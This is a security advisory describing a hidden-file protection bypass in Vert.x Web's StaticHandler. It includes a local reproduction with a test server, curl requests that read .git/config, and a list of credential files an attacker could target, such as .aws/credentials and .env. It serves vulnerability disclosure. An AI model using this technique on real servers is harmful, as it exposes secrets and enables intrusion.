GHSA-h5fg-jpgr-rv9c

# Description

There is a flaw in the hidden file protection feature of Vert.x Web’s `StaticHandler` when `setIncludeHidden(false)` is configured.

In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (`.`) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases:

- **Files under hidden directories**: For example, `/.secret/config.txt` — although `.secret` is a hidden directory, the file `config.txt` itself does not start with a dot, so it gets served. - **Real-world impact**: Sensitive files placed in hidden directories like `.git`, `.env`, `.aws` may become publicly accessible.

As a result, the behavior does not meet the expectations set by the `includeHidden=false` configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.

# Steps to Reproduce

```bash 1. Prepare test environment

# Create directory structure mkdir -p src/test/resources/webroot/.secret mkdir -p src/test/resources/webroot/.git

# Place test files echo "This is a visible file" > src/test/resources/webroot/visible.txt echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt echo "Git config data" > src/test/resources/webroot/.git/config ```

```java 2. Implement test server

import io.vertx.core.AbstractVerticle; import io.vertx.core.Vertx; import io.vertx.ext.web.Router; import io.vertx.ext.web.handler.StaticHandler;

public class StaticHandlerTestServer extends AbstractVerticle { @Override public void start() { Router router = Router.router(vertx);

// Configure to not serve hidden files StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot") .setIncludeHidden(false) .setDirectoryListing(false);

router.route("/*").handler(staticHandler);

vertx.createHttpServer() .requestHandler(router) .listen(8082); }

public static void main(String[] args) { Vertx vertx = Vertx.vertx(); vertx.deployVerticle(new StaticHandlerTestServer()); } } ```

```bash 3. Confirm the vulnerability

# Normal file (accessible) curl http://localhost:8082/visible.txt # Result: 200 OK

# Hidden file (correctly blocked) curl http://localhost:8082/.git # Result: 404 Not Found

# File under hidden directory (vulnerable) curl http://localhost:8082/.git/config # Result: 200 OK - Returns contents of Git config ```

# Potential Impact

## 1. Information Disclosure

Examples of sensitive files that could be exposed:

- `.git/config`: Git repository settings (e.g., remote URL, credentials) - `.env/*`: Environment variables (API keys, DB credentials) - `.aws/credentials`: AWS access keys - `.ssh/known_hosts`: SSH host trust info - `.docker/config.json`: Docker registry credentials

## 2. Attack Scenarios

- Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data. - Especially dangerous for `.git/HEAD`, `.git/config`, `.git/objects/*` — which may allow full reconstruction of source code.

## 3. Affected Scope

- **Affected version**: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well) - **Environments**: All OSes (Windows, Linux, macOS) - **Configurations**: All applications using `StaticHandler.setIncludeHidden(false)`